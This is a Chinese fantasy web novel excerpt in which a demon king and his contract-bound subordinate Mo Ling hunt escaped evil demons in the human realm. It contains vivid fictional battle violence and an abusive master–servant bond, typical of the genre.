《他在深渊仰望天光》 1. 开盘 自三界壁垒因上古旧事产生裂痕，周围六界便不再安宁，它们开始攻击内核，想要占领一切，争夺最耀眼的位置。 然而它们失手了，缔造者的出现让一切都回归自然，六界至此永被封印。 五百年后，妖界边境的密林深处，更大的风暴正悄然打开。 树林中，虺蛇身上鳞片与地面泥土产生摩擦，他的竖瞳在阴影中锁定前方踉跄的黑影，信子无声吐出，以蛇尾封死一处退路。 鬼狐在黑暗中无声穿梭，九尾炸开尾端点燃蓝色火焰，而所到之处都已燃之灭尽，琥珀色的眼眸倒映出鬼影，随即唤出鬼怪拦截另一条道路。 妖王苍裂枭立于合围的中心，黑发在风中狂舞，龙鳞甲胄的幽光只映出他半张冷峻的侧脸。 他盯着前方试图逃跑的黑影，以及对方手中那卷暗沉的邪物，《冥妖卷》。 “交出来。”苍裂枭的声音不大，却满是压迫感。 对方没有回答，他非但没有停下，反而用最后力气将古卷猛地抛向空中，双手结出一个早已失传的恶咒印诀，脚下阵图骤然亮起。 虺蛇看出对方意图：“阻止他！”话音刚落，他如黑色闪电般扑出，却撞在惨白阵壁上，符文反噬将他半身蛇鳞灼烧。 一切都太快了，《冥妖卷》在空中展开，无数扭曲的妖文如活物般剥离，冲天而起。 万千黑雾凝成厉鬼尖啸着冲向天际，所过之处，林木以肉眼可见速度炭化，仿佛被抽干了所有生机。 《冥妖卷》如一片枯叶般飘落，却在触及地面前一瞬悬停，并非实物，而是一道不稳定的虚影，周遭空间因它而微微扭曲。 苍裂枭伸手虚抓，那古卷发出一声不甘的嗡鸣，凝实坠地。 与此同时，三界已然发生变动，他们仰望同一片天空，多数流星划过黑夜留下一线光芒。 在转瞬即逝的那一刹那，恶妖带着刺耳的叫声四处飘荡，结界震颤。 苍裂枭身体产生共鸣，根本来不及细想，化身本体驺吾，火速飞奔前去妖界与外界的交界处。 这里一旦破碎，六界的封印会减弱，他双手施展出巨大的妖火猛地砸在地上，举动的轰动让天地都有些震荡... 此时，四面八方响起恐怖的嘶吼声，黑气开始不断聚拢朝他袭来。 “都给我老实点！”苍裂枭一声怒吼，火焰蔓延击散周围蔓延的黑气，结界修复好时，四周甚至能听到铁链互相碰撞的声音。 就连天界的天尊也在努力抵挡外界的袭击。 待一切都安稳下来后，苍裂枭和天尊传音讨论如何处理人界的恶妖。 神界以历练为名，行清剿之实；妖界冷眼旁观，愿见内部厮杀；唯人界结界破损，恶瘴横流，神明却未现世拯救，造成巨大混乱。 天界掌管者天尊俯瞰人界，指尖轻叩额头，下令道：“人族结界已破，恶妖祸乱凡尘，为免后患，尽诛。” 暗处忽然出现一声冷笑，却只有一道虚影，他抱着胳膊，道：“如此残忍，若被某人知道了，我们可是会死的，倒不如先试着挽救一下。”声音粗犷略显成熟。 天尊对这件事毫不在意：“多此一举，倒不如帮他彻底除掉这些废物，况且，人界对法力可是有绝对压制。” “消失多无趣，要让那些痛苦的哀嚎也让他们听听，不知血液溅到他们的脸上时还会像现在这般平静吗？”暗处那个人瞬间化作烟雾消失。 与此同时，妖界阳光下的苍裂枭，坐在树林的树枝上，眼中带着一丝嘲讽：“既然如此，那就找一个不会被压制的人去做不就好了。” 传音切断，苍裂枭脸上那抹冷笑并未立刻消散，他碾了碾指尖，仿佛要擦去什么不存在的污秽。 神界想清洗，妖界在观望，人界如待宰羔羊，这盘棋真是有意思。 苍裂枭的目光扫了一眼人群中始终静立如雕塑的小家伙，紧盯着那个身影思考许久。 一把好刀是否锋利，主要在于它的把柄有没有握在自己手中。 连同它的命也应该掌握在自己手中。 最后，他决定带领那个碍眼的家伙——莫凌，一同前往。 可三界中唯有人界掌管者下达过死令，其中一条：非尊所愿禁止九界任何人擅闯人界。 与此同时，天尊站在金碧辉煌的大殿中央，透过身前的云玺坛将苍裂枭二人一举一动收进眼底，心里知道对方在想什么却不为所动。 但他身后的黑影坐在棋盘前幽幽传来一句话：“看来这场变故将由我来见证了。” 一枚血色棋子咔嗒一声落在象征人界的格位上，棋盘上已有七枚黑子呈合围之势。 大殿之外，原本晴空万里的天色骤然一暗很是阴沉。 天空卷起乌云形成巨大黑洞，仿佛要将整个天界吞噬一般。 伴随黑夜的降临，人界也迎来电闪雷鸣之刻。 许久后，经历过雨水洗礼的森林变得潮湿，就在这时，一道黑影穿过铺满树叶的小路上飞快地穿过。 此人正是莫凌。 浓密的树影因风的缘故在上空沙沙作响，也开始陆续掉落一些水珠滴在他肩膀。 莫凌察觉到异样，猛地停下脚步环顾四周，空气逐渐弥漫古怪的气息正在迅速靠近。他脸上眉头一紧，双手握拳凝聚法力召唤出武器。 忽然，一张面部丑陋的鬼脸从身旁树丛中跳出向他张开血盆大口。 他眸光一闪，瞬间侧身跳起躲避，对方落空想跑。 莫凌跳到一边看出对方意图，快速跑过去借助树木蓄力对着那只恶妖的脸就是一脚，力道极大，直接将那只恶妖的面门卷入树林深处。 没等鬼脸反应过来，它的脸已然变形，莫凌看准时机将手中的匕首一抛，唰地向对方飞射而去。 一道蓝光穿过重重树木准确无误地刺中在鬼脸上正中央，它面部开始分裂，口中发出痛苦的嚎叫，太过刺耳，裂缝破碎散发刺眼的白色光芒。 最终砰一声炸开，化作碎片消散在半空，只留下一股甜腥的腐臭味，混在雨后清新的泥土气里，格外刺鼻。 “这是第三个。”莫凌纯净的声音在空寂的林中响起。 很随性的抬起右手，只见地上的刀在土壤挣扎几分，嗖一下飞回他手中，刀柄刻名为——星，慢慢化作蓝色星光消失了。 “天池，低级恶妖，专噬善念。在妖界，连虺蛇都懒得和这种货色交手。”苍裂枭合上手中的古卷，语气淡漠，“但放在人界居然能屠村灭镇，真是神奇” 莫凌闻声抬眼看去，不知何时竟有一个人依偎在树旁，但他似乎并不惊讶。 苍裂枭看向他，道：“怎么这个表情？” 莫凌不理。 那个人毫不在意，站直身体不紧不慢地走过来：“今晚的捕妖任务结束了，你也该高兴一下啊。”尾音带有小声哼笑，明显是句玩笑话。 骤雨初歇，残月从云隙投下清冷的光，将莫凌高马尾的影子拉得细长。 几滴未干的雨水顺着他的护腕滑落，在脚边积水中激起细微的涟漪，但从眼神中依旧透露出寒光，冰冷刺骨。 他甩了甩酸胀的手腕，看向古卷时皱眉：“仅召回三只低级恶妖没什么可开心的，有时间在这里打趣不如探查其他恶妖下落。” 莫凌的话轻描淡写但颇有埋怨疲惫地揉了揉肩膀，没有等对方说话转身就往回走：“回去吧。” 对方站在原地收起那僵硬的微笑，表情严峻，胳膊在胸前环绕，两眼微眯，眼眸呈现血红色，盯着莫凌背影：“又变得独善一身了啊。” 只可惜，现在还不是你耍性子的时候。 见莫凌越走越远，这才收起情绪慢慢跟上去。最后与他并肩离开树林，刚刚的神情以及血眸都消失不见。 刚到人界，苍裂枭负责寻找，莫凌负责斩杀。 但结果却不尽人意。 远处天边的太阳也缓缓升起，黑压压的气息被光明吞噬，一切回到生机盎然的样子。 苍裂枭选择一家偏僻客栈，在进门前，他抬头瞥了一眼天空，嘴角露出一丝讥诮。 莫凌疑惑地顺着目光望去，但只看到一片普通的阴云。 进入房间后，看着苍裂枭随手布下隔音结界，但木门上法力光辉不定。 这家伙在人界已经难以维持法力了吗？ 他站在苍 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“若我只是一把刀，妖界为何无他人可行？鬼狐和虺蛇应该比我更懂何为恶妖不是吗？” 苍裂枭的眼神瞬间冷下，沉默片刻后：“你的问题太多了。” 他声音很轻，几乎在话音落下的瞬间，莫凌锁骨处的契约印记毫无征兆地灼烧起来。 剧烈的疼痛让他忍不住闷哼一声，双腿无力地跪在地上。 他强忍着抬起头，看向苍裂枭平静的眼神。 苍裂枭伸手将杯中冷掉的茶水故意倾倒在地，地面水流蜿蜒的轨迹，恰好流向跪地的莫凌。 “因为你无处可去。”苍裂枭道。 莫凌看着他手中的杯子离自己的脑袋越来越近，这是想侮辱他吗？ 最终苍裂枭还是将杯子略过他，平稳地放到旁边桌子上，声音冰冷：“一把刀在哪都无法脱离我的掌控，就像现在这样，成为跪在我脚边的败者。这个答案满意吗？” 败者，这二字像根针一样刺中他心中。 没有画面，只有一股令人作呕的憎恨感瞬间淹没他。 莫凌咬着后槽牙，眼神中有着根本掩饰不住的愤恨。 锁骨的疼痛感串联起每一根神经，冷汗浸透鬓发，感觉身体快要炸了。 苍裂枭似乎根本不在乎，解除他身上的惩罚，同时周围的结界也被撤掉。 莫凌依旧跪在地上，粗喘着气，一时泄力许久都没有反应过来。 “滚吧，别打扰我睡觉。”苍裂枭躺在床上闭上眼睛，双臂交叉枕在脑后，满脸不耐烦。 莫凌心中一阵烦躁，努力镇定下来，深吸一口气道：“是。”起身离开房间。 他刚回到隔壁，二话不说一拳把桌子锤烂了，但心中的怒火依旧没消。 很快，他就感受到一股法力波动出现在墙的另一边，似乎来了一位不速之客。 莫凌屏住呼吸，小心翼翼地靠在墙壁上，他能感觉到，苍裂枭在人界连隔音结界法力都难以维持，那么... 他召唤出星刃，将法力灌注其中，借助这把武器的能力直接传送到另一个房间，就算苍裂枭的实力再差，也很难发现他的存在。 但只能捕捉到一丝模糊的余音： “...云漫森林？呵，他当年留下的花园倒是成了藏污纳垢的好地方”苍裂枭语气冰冷。 再往后，莫凌听到陌生男子说的话，很是模糊：“尽快...解决...” 苍裂枭忽然打断，带着一丝怒意：“闭嘴！告诉那个老顽固，我的事轮不到任何人插手！” 话音刚落，莫凌听不到任何声音后便收回法力，他坐在椅子上沉思着，指尖无意识地抚摸护腕上磨损痕迹。 这两段话似乎一直在提“他”？ 莫凌还未来得及思考，脑海中传来苍裂枭的命令：“子时，云漫森林，准备大丰收。” 窗外，最后一丝天光被翻滚的乌云吞没，暴雨将至。 莫凌若有所思，他的眼眸深处有一团幽幽的火焰在燃烧：“明白。” 2. 森林乱斗 夜晚 二人来到所谓的云漫森林，距离过于偏僻，但这里并不像名字烟雾缭绕，反倒是不错的绝佳圣地。 只不过这里并不会有人族出现，莫凌偷偷打听过，有说这里时常闹鬼，有的人进去了就再也出不来了，搞得大家都以为是吃人的森林。 也有说这里总是发出奇怪的声音让人不寒而栗，更有人怀疑这里存在妖怪专杀善人，七嘴八舌不知真假。 但为了以防有不怕死的人路过还是老规矩设下屏障，这样施展法力就不会被人族发现。 月光渗过树隙，将满地金叶染成苍白的碎银，晚风掠过时，枯枝在林中癫狂摇曳，仿佛千百只鬼手撕扯着夜的帷幕。 莫凌踩在被金黄色树叶铺满的小道，此路散发着□□腐烂的气味在空气中蔓延，他不自禁地蹙了下眉：“它们还真会找地方藏着。” 抬眸打量着周围，略有不耐烦，“就是被污垢沾染的美好圣地都变得肮脏了。” “恶妖嗜灵如命，自然会嗅着味儿找到这神明旧居。”苍裂枭语气平淡，指尖却无意识摩挲着颈间一道陈年老疤。 “神明旧居？”莫凌环顾这片腐朽之地，难掩神情下的诧异。 可这里隐隐存在一股异香一直环绕着自己，是树木还是妖物？ 但又不是很反感，而是...心痛？ “只可惜，没有把他一直关在这个地方。”苍裂枭眼底却闪过一丝来不及捕捉的痛楚。 莫凌见他陷入沉默，有些疑惑，直勾勾望着他。 苍裂枭似乎察觉到他炽热的目光，用不耐烦掩饰失态：“哪来那么多问题，快走！”衣袍翻卷如鸦羽，转眼已隐入黑暗。 莫凌喉间滚过一声压抑的叹息，抬脚跟上。 他们走了好久，微风吹过，夜空中乌云被吹开缓缓散去，银白的月光照耀在森林上空，将金黄色的叶子染上一层银边，犹如纯粹的灵力将二人笼罩默默守护。 这是一种危险的象征，隐藏在黑暗中的恶妖开始躁动起来了。 此时，莫凌听到不远处传来嘶喊声在逐渐靠近，还没反应过来就被苍裂枭拉着胳膊朝旁边庞大的树后躲在暗处。 “反应真慢。”苍裂枭再一次训斥。 莫凌不理。 莫凌和苍裂枭在黑暗中探出头，多数恶妖强行被藤蔓捆绑不知拽向何处，它们猛烈挣扎都没有任何作用。 “这些藤蔓…”身旁的苍裂枭突然不满的啧了一声，“我大概猜到是哪只恶妖，只不过有其他人比我们抢先找到了。” 莫凌不解。 恶妖走路无声，身影愈走愈远，就当莫凌想和他想跟上去时... “哎呀呀~”尖锐的女声拉长尾音从身后传来，二人同时提高警惕转身看去，脚步声逐渐逼近，“二位怎么在森林里躲躲藏藏的，是迷路了还是看见脏东西？” 矮小身影走出黑暗来到月光照耀下，金色的瞳孔，墨绿色短衣袍露出白嫩肉乎乎小短腿，凌乱黑短发。 莫凌全身紧绷护在苍裂枭身前，面对陌生的家伙很难不戒备起来，然而对方走过来面带和善的笑容，嘴里时不时发出哼声。 而此时站在自己身后的苍裂枭蓦然在他耳边轻声几句，莫凌听完，略有震惊但也立马遵从让步躲在他身后的黑暗。 看着苍裂枭乖乖走到小家伙面前装傻：“小鬼，你知道刚刚那些是什么吗？” 语速不快，却充满了狡诈的气息。 “我当然知道呀！”小家伙误认为眼前二位只是普通人族，“凑近点我就告诉你。” 苍裂枭借机俯身靠近。 小家伙天真烂漫的笑容骤然扭曲，眼中金芒大盛，五指成爪直刺苍裂枭心口。 她感应到了磅礴的灵力，想挖出他的心脏据为己有。 “真是抱歉，你还没有资格碰我。” 苍裂枭不屑地笑了笑，眼中闪过一抹红光，血眸完完全全将噬青小小的身影侵蚀。 小家伙心中忽然有些恐惧，她的身体动不了了，完全被压制。她声音还未发出，眨眼间，森林暗处射出两道蓝光飞速划过她的眼睛。 仅仅一念之间，刚刚可爱且还在嬉戏的小家伙，现在跪坐在原地，双目已成空洞，血泪沿着脸颊缓缓流下。 她张大嘴巴，痛苦到发不出一点声音，毕竟苍裂枭已悄悄在她体内用法力刺穿她喉咙，最后全身无力扑通一声倒在地上。 莫凌站在一旁，淡定地拔出插在树干上的双刀，面无表情地从她身前走过，默默地将这些都看进眼里。 两把刀尖都沾染未干血液。 小家伙身体突然抖动，面目狰狞全身紧缩成一团，化作绿色小藤蔓钻进土壤消失。 “蠢货。”苍裂枭摇摇头感到可笑，“不过你还是那么喜欢砍杀双目。” 莫凌将双刀擦拭干净，没有回应他的话：“名为噬青，诞生时日不多，无法看出是不是刀灵，能看出她主人的法力超出自身范围，强行压制武器的邪气导致刀灵对突如其来的攻击无法做出反应。”手指转动刀柄一圈消失在腰间。 苍裂枭抬手扯下因刚刚的冲击掉落在头发上的金树叶，认真听着他说，沉默片刻：“荒谬。”他两指捏住叶柄打转，树叶模样倒映在他显现的红眸中，“看来在人界的日子要越来越久了，还真令人不爽啊。” 他的语气不知是抱怨还是调侃，盯着叶子不到一秒，火光瞬间在手心燃起，松开手将树叶烧成灰烬飞向空中。 莫凌没有理会他这句话，眼睛望向前方黑暗处，自顾自继续说：“她的主人名为旃檀，上古树妖。” “旃檀啊…”苍裂枭垂眸思索片刻，嗤笑一声，似乎饶有兴致的样子：“《冥妖卷》中最有趣的一个。”抬手重重地拍了拍莫凌肩膀：“走吧，去会会她。”说完自顾自地向前走去。 ----------------- 还没走几米数不清的恶妖就站在苍裂枭和莫凌眼前及身后，将他们包围在其中拦住去路。肉眼可见它们个个面色呆滞，还有熟悉的妖怪面孔，有高有矮有胖有瘦，全都被控制了。 站在最前面的恶妖，名人熊，它率先冲出，挥动锋利的爪子朝苍裂枭挥去，它的速度很快，快到看不清它的动作。 二人同时跳起躲避，莫凌落到一旁树枝上，刚稳住身形想去解决它，抬眸间看到苍裂枭故意当诱饵引人熊四处对他进行捕捉攻击。 明明人熊的速度已经快到极致，但苍裂枭却冷静得可怕，每一次都躲得恰到好处毫不担心会被抓到，反而人熊还落空了一次。 人熊转过身月光正好照在他身上，莫凌这才反应过来为什么苍裂枭会如此淡定还戏耍对方，他看到人熊身上有一种特定的法力遮住了它的双眸，一旦反抗眼球会产生被啃咬的痛苦，瞳孔泛白大概率眼前是模糊一片看不清人脸。 “所以他早就知道。”莫凌嘀咕着。 不过他更不懂一件事，若《冥妖卷》真的从上古时期就被封印许久才被他人打开，那苍裂枭为什么对每只恶妖都如此了解，真的只是妖王吗？ 莫凌想不通，反之他来到人界后一直觉得哪里怪怪的，却又找不到原因。 与此同时，苍裂枭似乎早已预判到人熊的迷茫，他腾空而起，精准地绕到其视觉死角，低喝道：“鸿陨！” 莫凌心中的疑云愈发浓重。 苍裂枭喊出的并非杀招，那语气倒像在呼唤一个久别重逢的旧识。 眼前闪过通红刺眼的火光，人熊反应迅速，转过身一拳锤下挡住，“砰”一声天地震动，威猛的冲击力让整个森林石子草木连根拔起。 就连莫凌也忍不住闭上了眼睛，抬手施展法术抵挡，但还是承受不住这股压力，从树干上跌落到了地面上。 当法力平息后，莫凌将胳膊缓缓放下，微睁开眼却略有模糊，直到周围冲击逐渐平息，身前发生的事物也映入眼帘： 苍裂枭背对他手持散发火光的斩刀，墨黑色紧身衣袍在他高挺的身材上衬得出肌肉非常结实，身后衣摆随风飘荡，明显对战很吃力，毕竟他来到人界被强行压制了九成法力。 人熊抬起另一只手想偷袭，苍裂枭立马识破，握刀转身躲过攻击落在地面，趁人熊还没有下一个攻击动作，他再一次拿起砍刀靠近，人熊被惹怒胡乱攻打。 苍裂枭都轻松躲开，一脚踩在他胳膊上借力跳起再次劈过去，人熊再一次用拳头挡住，这次冲击明显变小了许多。 他的砍刀带有火焰加持，人熊眼睛见不得光有明显的躲避动作，苍裂枭见机，手腕一转用力向上一挑，只见一道红色火花在半空画出完美弧线将恶妖熊掌斩断。 他眸光一闪，反手拿刀对它的身体进行横斩一分为二稳稳落地，回头看人熊的鲜血喷射倾倒在地，直至消失不见。 半空浮现妖文：人熊，披发裸体，体形长大，手爪尖锐，食人眼珠。 自动刻入古卷中，竟排在《冥妖卷》前十，但因双目失明和被控制原因，能力还下降了三成。 苍裂枭因为法力过度施展，直接虚脱地跪在地上好几口鲜血，法力已经发挥不了多少了。 他甩了甩手腕，龙鳞甲胄的光芒暗淡：“人界的禁制真是麻烦，一成法力对付一只简单的恶妖都艰难。” 莫凌还没有看清那把斩刀模样，就被苍裂枭收回。 他刚想上前却被突如其来的恶妖再次包围不停逼退，头顶上空传来撕裂的叫声，抬头见身形略大的鸟张开尖嘴怒冲过来。 莫凌闪身躲避到树枝上让它扑个空，掌心法力凝聚双刀顺利出现在他手中，眼前的恶妖名为：浪鸟。 月光忽然被云层吞没，莫凌的刀锋也随之晦暗。 下一秒，浪鸟的尖啸已扑至耳畔。 刹那间，莫凌没有选择直接抬起手中的刀交叉挡住浪鸟的嘴。 那只浪鸟也不甘示弱，拼命拍打着翅膀射出一支支箭矢，莫凌躲闪不及，腿上中了一支，痛得半跪在树干上，却依旧没有弃刀逃跑。 可再拖下去，等待他的将是下方那张密密麻麻的血盆大口。 莫凌强忍着剧痛，决定孤注一掷将法力灌注双剑，双臂发力撕开那张血盆大口。 鸟的喙骨碎裂，发出一声凄厉的哀鸣。 莫凌趁它退缩的刹那，反手将刀掷出，寒光如电直贯翼根！羽毛混着黑血炸开，浪鸟如断线风筝般砸向地面。 “邕邕！”浪鸟痛苦鸣叫，尖喙距咽喉只剩三寸时，莫凌不给他起身的机会，松手弃刀，双刀凌空自旋，一刀绞碎箭羽，另一刀直接贯穿鸟瞳。 黑血喷溅中，他抓住坠落的刀柄借力翻身，靴底狠狠踏碎鸟颅。 骨渣混着脑浆溅上脸颊时，妖文已在空中燃烧显现。 浪鸟壮如老鸱，食人…最后消失刻印进古卷。 忽而眼前闪出亮光猛飞出一把刀，莫凌面不改色抬手将它接住，是他的另一把双刀— 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烟杆的铜嘴在她指尖轻转，一缕青烟从她口中吹出，模糊了那张苍白如瓷的脸。旗袍下摆开衩，藤蔓正顺着她的小腿蠕动攀附：“说吧小妖。”墨色瞳孔在烟雾后倏然亮起。 脸上没有笑意，左手置后握住一把淡绿色镰刀，藤蔓围绕在长柄至刀身，刀柄的顶端有个空洞，像有缺失什么。 “你的地盘？我可从未听说人界出现妖族地盘。”苍裂枭瞥了一眼镰刀嘲讽道。他嘴角微微上扬，不屑一顾的神情根本没有把对方放在眼里，“你觉得，你杀得了我？” 苍裂枭血眸闪现，抬手打个响指，眼前藤蔓一瞬间火星四射将其燃烧，熊熊烈焰沿着藤蔓位置一路烧到对方眼前，通红的火光将她的脸照亮，那就是所谓的旃檀，其名曰：茯苓。 “很有魄力。”茯苓并没有被苍裂枭的行为震惊到，反而是意料之中，“想让我回到《冥妖卷》就要看你有没有这个本事了。”说话间，藤蔓如蛇群般在她脚边游动。 苍裂枭也没有一丝退缩：“就算是再厉害的恶妖也只有被封印和斩杀的份。”话语中的戏谑带有着嘲讽，眼中对她只有不屑，完全没放在眼里，“你想要哪一个？” 彼此间的树藤变得焦黑，发出噼里啪啦脆裂声，不到一秒成功在半空断开多节，掉落在地发出砰一声巨响。 砰的一声！ 远处的莫凌听到剧烈声响，锁骨瞬间出现灼烧的疼痛感。 苍裂枭在唤他。 他腾空跳起，手持双刀在半空旋转丝毫不差地躲过所有恶妖攻击，随即水流般法力化作枷锁形成巨大的牢笼将恶妖全部包裹其中，直到牢笼如同屏障般开始收缩把他们困在里面。 莫凌在半空中低头看着恶妖挣扎，眸中闪过寒光，他双手摊开，双刀在手心合为一把利刃，用手一推猛地刺下去：“封！” 叮铃！ 随着封字出口，一声脆响，水花四溅，将四周的妖魔全部清理一空。 莫凌顿时感到胸口处一阵针扎似的剧痛，喉头涌上腥甜。 这是法力瞬间抽空的反噬。 这诡异的力量体内似乎是禁止使用的，以他现在的身体没有个五百年修炼好像很难驾驭。 半空大大小小的妖文显现，莫凌靠在树干略有疲惫，根本没力气去看那些，反正它们会自己跑进古卷。 可是这次反噬的疼痛感很快就消散了，内伤也在慢慢痊愈，只是身体还有些乏力。 他弓着身体，双手支撑在膝盖上，眼睛盯着自己的脚有些恍神。 从刚刚开始就有一股异香跟随着自己，不是很刺鼻，而是清透的花果香。 他摇摇头根本没时间去细想，默以为是这个森林的花香，随后赶忙站起身用手背将脸颊汗水擦去。 抬起头目光望向远处，正前方上空苍裂枭赤手空拳仅用法力去与手持镰刀的女人战斗拼个你死我活，他们的脚下是数万墨绿色粗大藤蔓所支撑。 莫凌咬着牙立马赶去帮忙。 苍裂枭刚刚和人熊消耗太多法力已经没办法再去挥动武器反击，可对方的镰刀泛起杀意，刀刀致命。 茯苓看出苍裂枭破绽，眼眸微闪，眨眼间脚下的藤蔓似有意识般乍然地飞出向苍裂枭身后攻去，藤蔓缠绕将他身体紧紧捆绑制止所有行动。 下一秒对方的镰刀狠狠地砍中他胸膛，苍裂枭受不住疼痛闷哼一声，身体不稳单腿跪在藤蔓上。他紧皱眉头，胸口血液不断涌出，抬眸怒视嚣张跋扈的茯苓。 她双手在背后转动镰刀，赤脚慢慢走来，却并没有直接杀他，而是猫戏老鼠般地刻意延宕。 她的墨瞳倒映着苍裂枭胸口的血迹，舌尖缓缓舔过齿列：“真可惜……这么好的血只能拿来泡酒了。” 藤蔓应声绞紧，苍裂枭的肋骨发出不堪重负的脆响。 他却低笑起来，染血的齿缝间挤出几个字：“杀我？你配么？” 苍裂枭对上茯苓那阴冷的眼眸。 他眼神中没有对敌人的畏惧，反而是不屑与嘲讽。 茯苓对他此时的表情很不爽，心中的胜负欲让她有些失去理智，双手将镰刀举过头顶，月光照拂衬托出刀刃愈加锋利，她眼神的杀意彻 底藏不住，整个人黑起脸语气森冷：“那就试试看!” 随着镰刀即将下落砍掉苍裂枭的脑袋时... ——噹！ 3. 妖孽 苍裂枭即将命悬一刻之际，他眼眸微眯，蓦然间，一道蓝光从他脸颊划过一闪而至抵挡住发出噹的震声。 莫凌单手拿刀抵住茯苓的镰刀，汇集法力手腕向上一挑将对方猛地击退，确认保持距离后，急忙转身查看苍裂枭的伤势。 “太慢了。”苍裂枭不满道。 莫凌表面无所谓的样子，但内心也有几分无奈。 “真是可笑！”茯苓一脸唾弃道：“明明身体根本没有被我伤到要害，却要一个疲于奔命的人来救。” “我去解决下面恶妖，你负责解决她。”苍裂枭完全无视茯苓的嘲讽，也没有去看莫凌现在的状态。他转头跳下藤蔓往森林深处走，最后消失无影无踪。 茯苓不在乎，趁机走近心情复杂的莫凌面前，上下打量：朴实无华的衣裳下摆几乎被撕碎，胸膛沾满血渍，双臂及双腿都有明显的伤痕。 她怀中抱着镰刀望了望他：“你身上现在的法力很不稳定，能撑多久都不知道还想解决我？真是可笑。”茯苓指了指苍裂枭跳下去的方向，冷哼一声：“而他，就是个自大妄为的家伙。” 莫凌像是在整理思绪，毫无动作，不回答也不理。 茯苓第二次被无视，背对着月光她看不清莫凌神情，但手中的镰刀却没有丝毫松懈。忽然，莫凌身上突然散发出大量法力令她不寒而栗，下意识地向后一步。 茯苓心里莫名有些不爽：“小鬼，我在和你说话呢！”她猛地转动手中的镰刀，在身前朝莫凌横斩，一道法力忽地从刀刃划出。 莫凌目光一瞥，侧身轻松避开冲击，随之反手甩出星刃。 刹那间，半空中划过一抹银白色丝线，与天边的月色仿佛融为一体从中完美穿过。 嗤的一声，茯苓的肩头顿时被刺穿，速度快到她根本看不清，大片的鲜血从伤口处流淌出来，侵染她的衣服。 就在茯苓因疼痛捂住伤口时，星刃已经悄无声息地飞回了莫凌的手上，消失不见了。 茯苓抬眸一瞬，莫凌的眼睛化为紫色，如同星河般耀眼，可却毫无波澜，漠视一切又似有杀意，如同冷血野兽一般。 一念及此，她浑身一颤，伤口发出的疼痛散布全身，连话都差点说不出来，踉跄着向后退去：“你，你到底是谁？” “吵死了。”莫凌举起满是鲜血的左手撩过额前发丝，月光照在他身上，黑发渐渐褪成银白色，在月光下隐隐散发着紫光，发尖被血沾染，“再说话可是会烂舌头的。” 声音冷到刺骨，仿佛与刚刚在苍裂枭面前卑微的样子判若两人。 茯苓见状，眼底闪过一抹诧异。当看到他手中两把刀同时出现时，瞳孔骤缩，顿时充满恐惧，身体止不住地发抖。 觉得自己会死在这儿，会回到那吞噬人骨的古卷中，但那份好胜心却让她不得不坚持下去，哪怕千年来都作恶多端，也要恶得其所。 茯苓拿起镰刀不顾伤口的疼痛拼命与他对抗，在她眼里，莫凌反应迅速敏捷，下手稳准狠，似乎能看穿自己所有技能和走位。虽然法力在她之下，却有着极强的压迫感和不死心的意志，完全不像小妖身上发出的。 反之，在莫凌面前，她堪比一只蚂蚁，自认为无人能敌，实则只需要他人动动手指就能任人宰割的家伙。 镰刀与他的双刀擦出激烈的火花，茯苓体力不支再加上刀灵噬青本就有伤，身上的光芒越发暗淡，能坚持这么久已经是极限。 。 当藤蔓枯萎的幽光映在茯苓失焦的瞳孔时，莫凌刀锋已至。噬青的悲鸣与血肉撕裂声同时响起，温热血珠在空中划出弧线，有几滴正落在他颤抖的睫毛上。茯苓被击杀，法力不稳，脚下藤蔓随之枯萎，断裂的藤条如蛇般抽搐坠入河流。 二人失重后一个稳稳落地，一个重重摔在河流岸边。 莫凌瞥了一眼毫不在意，走上前将茯苓身边插在地上的镰刀拔出，拿在手中掌心一紧，端详着，几乎要将它刻入脑海，稍微释放法力，眉头微皱，发现一丝端倪。 躺在地面的茯苓还活着。此时的她只感到一阵阵剧痛布满全身如同刀割，法力已经不足以痊愈，嘴角流出鲜血。 再次看向莫凌时，他单手持镰刀站在身侧，右胳膊绕过长柄手位于腰间，锋利的刀刃放置在她脖子处，就算在深夜也能够看清那双眼睛展露出的蔑视，纯净的声音不紧不慢地在上空说道：“我不杀你，但你必须把噬青放出来。” 语气不轻不重地让那几个字清清楚楚进入她的耳朵。 “什么？”茯苓盯着他眼睛，面色凝重不可置信地问道。 “噬青根本就不是刀灵，而是你催眠了她。”莫凌胳膊轻抬，刀刃抵在她下颚，继续道，“恶妖怎么可能有武器，这把镰刀根本就是你在鬼界偷的，但噬青原本法力还不足以驾驭这把武器，你就将其催眠让她误以为是你的刀灵，便超负荷去替你卖命，我说的没错吧。” 茯苓听后沉默了片刻，随后终于露出恶妖那丑陋的笑脸：“我还真是小看你了，你猜的没错，无论是武器还是噬青都是捡来的，只要听命于我掌下的傀儡，人也好妖也罢，只要能利用身份根本不重要，最后死亡对于它们而言更是一种解脱。” 茯苓神情得意，语言中满是嘲讽，“幸好，你不知道我的弱点根本杀不死我。” “僭越规则，玩弄生命…”莫凌的声音仿佛凝冰，眼中第一次燃起怒意的火焰，“谁给你的权柄，擅自决定他族命运？” “拯救？呵...那不过是强者对弱者编的梦。”茯苓挑衅道，“我给予他们力量，他们交付生命，很公平。” 话音未落，莫凌抬起镰刀猛地砍下她的双眸，毫无征兆，没有一丝犹豫，或许他也不知自己为何如此。 “啊——！”茯苓痛苦喊叫响彻整个森林，她捂住自己流血不止的空眸，身体颤抖不止。 错就是错，无论是谁都不应该擅自决定一个人的生死，哪怕是只妖。 “胜负欲会让败者永远抬不起头，你也可以试试。”莫凌眼底浮现寒光，满是杀气，“早知道，刚刚就该拆了你的骨头喂狗。” “你！”这时，茯苓的身体猛烈燃烧起来，莫凌被吓一跳以为她又要做什么来反抗，疯狂向后退，目光盯向从地上慢慢爬去的茯苓。 虽然她已没了双眸却依旧不失那刻在骨子里的恶，听见她在火海中大声讪笑：“小妖，在这个世界，只有强者才有资格挑选奴隶，而弱者只有不断服从。” 火势逐渐旺起，莫凌无法靠近看清状况，随着笑声越来越小火光也逐渐暗淡下来直至消失不见。 “看来是被救走了。” 苍裂枭突然出现在他身后，但对他来说已经毫不意外，莫凌收起镰刀在原地静静听他说话：“茯苓武力不高，但有极强的控制能力，单从这方面，就算没有武器她还有很大利用价值。她可以控制噬青成为刀灵就可以控制更多的人成为她的部下。我想她控制其他恶妖来到这里也是如此。” 莫凌不禁想起茯苓刚刚的话，只有强者才有资格挑选奴隶，而弱者只有不断服从和面对死亡，内心很是在意。 而苍裂枭身为妖王，妖界掌管者自然是三界强者之一，对于他而言... 莫凌立马摇了摇头，将这念想抛之脑外。 他和苍裂枭相识五百年，但这五百年中几乎每一天都在打压他，法力提升不稳，意志不坚定，可即使再努力给的武器也是最弱的。 